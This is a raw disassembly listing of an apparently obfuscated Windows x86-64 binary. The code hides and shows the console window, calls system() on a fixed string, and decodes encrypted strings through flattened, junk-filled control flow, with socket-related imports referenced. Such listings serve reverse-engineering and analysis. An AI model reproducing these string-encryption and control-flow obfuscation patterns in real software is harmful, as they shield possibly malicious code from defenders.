add dil, r11b
dec r10
inc r10
jmp 0x14009a833
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14009acad
movzx r9d, r10b
lea ecx, [r9 + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x54
jmp 0x14009b2fc
movzx r9d, r10b
lea edx, [r9 - 8]
movzx eax, dl
and al, r11b
movzx ecx, byte [rbp + r10 + 0x120]
sub cl, al
add cl, 0x1c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14009b2a2
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x120]
lea edi, [r11 + rcx]
sub dil, 2
jmp 0x14009b379
lea ecx, [r10 - 3]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x15
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x14009a833
lea ecx, [r10 + 0x11]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x77
jmp 0x14009b379
lea ecx, [r10 - 0x65]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x3d
jmp 0x14009b342
lea ecx, [r10 + 0x25]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 3
jmp 0x14009b33f
movzx r9d, r10b
lea ecx, [r9 - 0x51]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x37
add r9b, 0x33
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x65
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x120], r9b
jmp 0x14009b33f
movzx r9d, r10b
lea ecx, [r9 + 0x4d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1b
jmp 0x14009b2fc
movzx r9d, r10b
lea ecx, [r9 + 0x61]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x59
sub r9b, 0x43
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x2b
add r9b, r11b
mov byte [rbp + r10 + 0x120], r9b
inc r8
dec r10
inc r10
jmp 0x14009a833
lea ecx, [r10 - 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x41
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14009a833
lea rdx, [r10 + r15]
movzx r11d, r9b
movzx eax, dl
and al, r9b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4b
add dil, dl
lea ecx, [r10 - 0x57]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x61
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x120], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x3c
add cl, r11b
mov byte [rbp + r10 + 0x120], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x14009a833
lea rcx, [r10 + r14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x29
movzx eax, byte [rbp + r10 + 0x120]
add rax, r8
add r10, rax
inc r10
jmp 0x14009a833
sub r10b, 0x59
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x6f
jmp 0x14009a830
add r10b, 0x31
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x57
jmp 0x14009a818
lea rcx, [rbp + 0x17580c4]
jmp 0x14009b464
lea rcx, [rbp + 0x6c82ff]
jmp 0x14009b464
lea rcx, [rbp + 0x120]
call fcn.14009dcc0
lea rdx, [rbp + 0x1d4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
cmp dword [rbp + 0x1d4], 1
jne 0x14009b4b9
xor edx, edx
mov rcx, qword [0x1401fe848]
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140045070
lea rcx, [0x14014f004]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 5
mov rcx, qword [0x1401fe848]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x14014e784]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140040f20
mov r14, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rsp + 0x40], 0x9efc9ad0
mov dword [rsp + 0x44], 0x9488ead4
mov dword [rsp + 0x48], 0xb483e9ad
mov dword [rsp + 0x4c], 0xbdafedb9
mov dword [rsp + 0x50], 0xbdbbe1a5
mov dword [rsp + 0x54], 0xa2beb1e4
mov dword [rsp + 0x58], 0xb9a5a5f8
mov dword [rsp + 0x5c], 0xffe294be
mov dword [rsp + 0x60], 0xa0b7a3a0
mov dword [rsp + 0x64], 0xc9d3f5a7
mov dword [rsp + 0x68], 0xb382c3c
mov dword [rsp + 0x6c], 0x330e5258
mov dword [rsp + 0x70], 0x346405f
mov dword [rsp + 0x74], 0x7435d50
mov dword [rsp + 0x78], 0x5a5f413b
mov word [rsp + 0x7c], 0x348
mov byte [rsp + 0x7e], 0xfe
xor eax, eax
mov qword [rsp + 0x7f], rax
mov dword [rbp - 0x79], eax
mov byte [rbp - 0x75], al
movabs r15, 0x5e104d1d3265ae58
movabs r13, 0x92721bcc60c7c468
movabs r12, 0x1a30e75797310b08
movzx edi, byte [rsp + 0x30]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x4c
jae 0x14009c188
movzx r10d, byte [rsp + r11 + 0x40]
mov r9, r10
cmp rbx, r11
ja 0x14009c17f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14009b5e2
lea rcx, [r11 + r15]
mov rax, r10
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r10
add rdi, rcx
sub dil, 0x68
jmp 0x14009b630
je 0x14009c112
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14009c0ae
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009c066
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14009c00a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14009bfe8
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14009bf9d
nop dword [rax]
cmp r8, r11
ja 0x14009c176
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x14009b661
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14009b6a2
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14009bf80
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009bf5b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14009bf3c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14009bf20
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14009bef2
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14009bbf4
nop
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14009bbe2
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14009bbba
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14009bb98
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14009bb78
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14009bb59
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14009bb3a
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14009bb1e
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14009baff
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14009bad4
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14009b6b0
lea rbx, [r8 + 1]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14009c159
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14009c13c
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14009b885
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14009b866
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14009b847
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14009ba83
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14009ba36
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14009b9ef
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14009b9c8
lea rbx, [r8 + 3]
lea r8, [rbx + 0x61]
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14009b99a
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14009b97b
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14009b95f
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14009b943
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14009b92e
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14009b90e
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14009b8e9
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14009b8c4
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14009b8a4
lea rbx, [r8 + 0x42]
lea r8, [rbx + 0x41]
jmp 0x14009b6b0
lea edx, [r11 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x78
add dil, dl
jmp 0x14009b6a2
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14009b630
lea edx, [r11 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14009b5b3
lea edx, [r11 - 0x40]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x40
movzx r9d, r11b
jmp 0x14009bfb8
lea ecx, [r11 + 0x10]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x70
inc r8
dec r11
inc r11
jmp 0x14009b5a3
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x14009b5a3
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
movzx r9d, r11b
jmp 0x14009c025
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
jmp 0x14009c04a
lea ecx, [r11 + 0x50]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x30
jmp 0x14009c04d
lea edx, [r11 - 0x60]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x60
jmp 0x14009c081
lea edx, [r11 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14009c0d1
lea edx, [r11 + 0x40]
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rsp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14009b5a3
lea edx, [r11 - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
mov byte [rsp + r11 + 0x40], dil
inc r11
jmp 0x14009b5a3
lea edx, [r11 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
cmp r8, 0x3e8
jb 0x14009b9e2
movzx r9d, r11b
lea edx, [r9 + 0x10]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14009bfbb
lea edx, [r11 + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x18
add dil, dl
cmp rbx, 8
jae 0x14009beac
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x14009bddd
lea edx, [r11 + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x50
jmp 0x14009ba06
lea edx, [r11 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x48
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x61
je 0x14009bed1
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x14009bd0f
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14009ba4d
lea ecx, [r11 + 0x50]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x30
movzx eax, byte [rsp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14009b5a3
lea edx, [r11 - 0x60]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x60
add dil, dl
jmp 0x14009c0d1
lea edx, [r11 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14009c081
lea edx, [r11 + 0x40]
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14009c04d
lea edx, [r11 - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14009c04a
movzx r9d, r11b
lea edx, [r9 - 0x20]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x20
jmp 0x14009c025
lea ecx, [r11 + 0x30]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x50
dec r11
inc r11
jmp 0x14009b5a3
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x14009b5a3
movzx r9d, r11b
lea edx, [r9 - 0x30]
mov ecx, 0x28
jmp 0x14009bfaa
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x14009bc19
lea edx, [r11 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x68
jmp 0x14009ba9a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009bc4d
lea ecx, [r11 + 0x70]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x10
movzx eax, byte [rsp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14009b5a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009bc75
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14009c0d1
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009bc9d
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x80
jmp 0x14009c04d
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14009bcc2
lea ecx, [r11 + 0x30]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x50
jmp 0x14009c04a
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14009bcf0
lea edx, [r11 - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x14009b5a3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14009ba9d
movzx r9d, r11b
lea edx, [r9 - 0x10]
mov ecx, gethostname
jmp 0x14009bfaa
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009bd2a
movzx r9d, r11b
lea edx, [r9 - 0x58]
mov ecx, 0x34
jmp 0x14009bfaa
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009bd55
lea ecx, [r11 + 8]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x38
dec r11
inc r11
jmp 0x14009b5a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009bd7d
lea edx, [r11 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14009c04a
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14009bda5
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14009c04d
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14009ba50
lea ecx, [r11 + 0x28]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x18
movzx eax, byte [rsp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14009b5a3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009be11
lea ecx, [r11 - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x20
movzx eax, byte [rsp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14009b5a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009be36
lea edx, [r11 + 0x40]
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14009c081
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14009be5b
lea ecx, [r11 - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x60
jmp 0x14009c04a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14009be84
movzx r9d, r11b
lea edx, [r9 + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x30
jmp 0x14009c025
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14009ba09
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
dec r11
inc r11
jmp 0x14009b5a3
movzx r9d, r11b
lea edx, [r9 - 0x40]
movzx eax, r10b
and al, dl
add al, al
movzx edi, byte [rsp + r11 + 0x40]
sub dil, al
sub dil, 0x40
add dil, r10b
jmp 0x14009c025
lea edx, [r11 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, byte [rsp + r11 + 0x40]
sub dil, 0x10
jmp 0x14009c081
lea edx, [r11 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rsp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14009b5a3
lea ecx, [r11 + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x68
jmp 0x14009c04d
lea edx, [r11 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14009c04a
lea edx, [r11 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x14009b5a3
movzx r9d, r11b
lea edx, [r9 - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x58
jmp 0x14009bfb8
movzx r9d, r11b
lea edx, [r9 - 0x78]
mov ecx, 0x24
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add r9b, 0x68
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rsp + r11 + 0x40], cl
inc r8
dec r11
inc r11
jmp 0x14009b5a3
lea ecx, [r11 + 0x28]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x18
dec r11
inc r11
jmp 0x14009b5a3
movzx r9d, r11b
lea edx, [r9 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x48
add dil, dl
add r9b, 0x18
movzx eax, r10b
and al, r9b
mov ecx, 0x2c
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
add cl, r9b
mov byte [rsp + r11 + 0x40], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14009b5a3
lea rdx, [r11 + r13]
movzx r10d, r9b
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea edx, [r11 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x78
add cl, dl
movzx eax, cl
mov byte [rsp + r11 + 0x40], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14009c0d1
movabs rcx, 0xd6518191fbfc67b8
add rcx, r11
movzx r10d, r9b
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rsp + r11 + 0x40], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rsp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14009b5a3
lea rcx, [r11 + r12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
movzx eax, byte [rsp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14009b5a3
sub r11b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 8
jmp 0x14009b5a0
add r11b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x38
jmp 0x14009b587
lea rdx, [rbp + 0x1512260]
jmp 0x14009c18d
lea rdx, [rbp + 0x176d0b8]
jmp 0x14009c18d
lea rdx, [rsp + 0x40]
mov rcx, r14
call fcn.140040f20
mov rcx, rax
lea rdx, [0x14014e784]
call fcn.140040f20
mov dword [rbp + 0x180], 0x7e7f6a76
mov word [rbp + 0x184], 0xc169
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x186], xmm0
mov dword [rbp + 0x196], eax
movabs rsi, 0x880ebad2a6e59761
movabs r15, 0xb8671bc2904723a7
movabs r14, 0x982c3077f4b0c623
movzx edi, byte [rsp + 0x30]
nop dword [rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1a
jae 0x14009cd69
movzx r10d, byte [rbp + r11 + 0x180]
mov rdx, r10
nop dword [rax]
cmp rbx, r11
ja 0x14009cd60
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14009c24c
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x59
jmp 0x14009c286
je 0x14009ccf2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009cc68
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14009cc0c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14009cbea
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14009cb9f
cmp r8, r11
ja 0x14009cd57
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14009c2b0
lea ecx, [r11 - 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4d
jmp 0x14009c2f0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14009cb83
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14009cb5e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009cb3c
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14009cb1d
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14009c86d
nop dword [rax]
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14009c84a
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14009c826
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14009c805
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14009c7e2
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14009c7c3
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14009c7a8
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14009c789
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009c76a
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14009c73d
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14009c300
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 4]
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14009cd3a
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14009cd1d
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14009c4fc
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14009c4e1
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14009c4c6
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14009c6ef
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14009c6aa
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14009c669
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14009c643
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14009c300
lea rbx, [r8 + 9]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14009c616
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14009c5fb
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14009c5dc
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14009c5c1
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14009c5a6
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14009c583
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14009c55e
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14009c53a
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14009c517
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14009c300
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0x1000]
jmp 0x14009c300
lea ecx, [r11 - 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x53
jmp 0x14009c2f0
lea ecx, [r11 - 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5f
jmp 0x14009c286
lea ecx, [r11 + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x11
jmp 0x14009c216
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x14009cbbd
lea ecx, [r11 - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4a
inc r8
dec r11
inc r11
jmp 0x14009c203
lea edx, [r11 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14009c203
lea edx, [r11 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x14009cc2a
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x14009cc4c
lea ecx, [r11 - 0x22]
movzx eax, cl
